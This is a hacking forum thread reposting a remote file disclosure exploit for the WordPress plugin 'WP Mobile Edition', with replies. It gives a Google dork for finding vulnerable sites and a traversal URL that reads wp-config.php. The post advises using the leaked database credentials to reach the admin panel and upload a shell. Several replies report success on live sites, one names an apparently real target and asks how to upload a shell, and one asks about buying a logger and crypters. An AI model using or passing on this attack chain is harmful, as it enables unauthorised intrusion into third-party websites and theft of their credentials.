[๖ۣۜƙ!ʟʟabiтs.~]

[img]http://1337day.com/img/logo_green.jpg[/img]

Wordpress Plugin - Remote File Disclosure Vulnerability

Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php'
You can see the MySQL settings, like this.



Dork:

- Search on Google
inurl:?fdx_switcher=mobile

- POC

Exploit view source code wp-config.php
http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

This is a very simple exploit, you can connect to the database and access to wordpress panel next, upload the shell.

- Tips for connecting to database:
If the MySQL host is "localhost", you can see if the FTP/cPanel have the database on the same server, www.example.com/cpanel

DB Kiss (Uploaded by mobile): http://www.fitsolutions.com.tr/wp-conten...bkiss2.php
Source: ExploitDB

Hope you liked it C:

[donwanny3]

is this logger for sale or free? DOES IT work on virtual machine? what cryters are compartible with the logger? waiting to hear from you.can it be purchased using bitcoin ,will be waiting your reply

[ｍＯｂｉＩｅ]

Seen this also, works for meh.. 🎉

[#Skyline]

This works for me also :)
It's a great vulnerability.

[๖ۣۜƙ!ʟʟabiтs.~]

Glad you liked it, is working fine 🤝

[DarkMethods]

It's a Good vulnerability, i like your work, for search this, it's workinG Good..

[xXNepalmXx]

How to connect to the Mysql Database if it's in the localhost of the website?

[QaTaRi_RuLeZ]

------

That's Great Worked :D
-
xXNepalmXx : Try To Read wpconfig ,, and see if it the same details of Ftp Or Cpanel if installed in server :)

[xorl]

Why did you feel the need to c/p public exploits from exploit-db? You didn't contribute anything new to the subject so your thread is kinda redundant.

[Soulo]

How to connect to the Mysql Database if it's in the localhost of the website?

You can't!!! 🤭🤭🤭🤭🤭🎉🎉🎉👍👍👍🤦‍♂🤦‍♂🤦‍♂

Unless you're connecting from localhost, that is.

[Orianthi]

Vouch for this method it works. Very malcious indeed!!`

[๖ۣۜƙ!ʟʟabiтs.~]

Thank you for all the appreciations, just added a few tips!

[ElViruZ]

Hello,

This Method work really fine!

Thumps up!

[rastarockstar]

Hi,

I find few site but having problem with mysql task.

superfrugalstephanie com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

My Sql Host is "localhost" but how to use credential of wp-config to login to mysql, so that upload my shell.

Thanks

[rastarockstar]

Hi,

Anybody here, please help me. I don't able to connect any single site database. How to connect that, please help me?

Thanks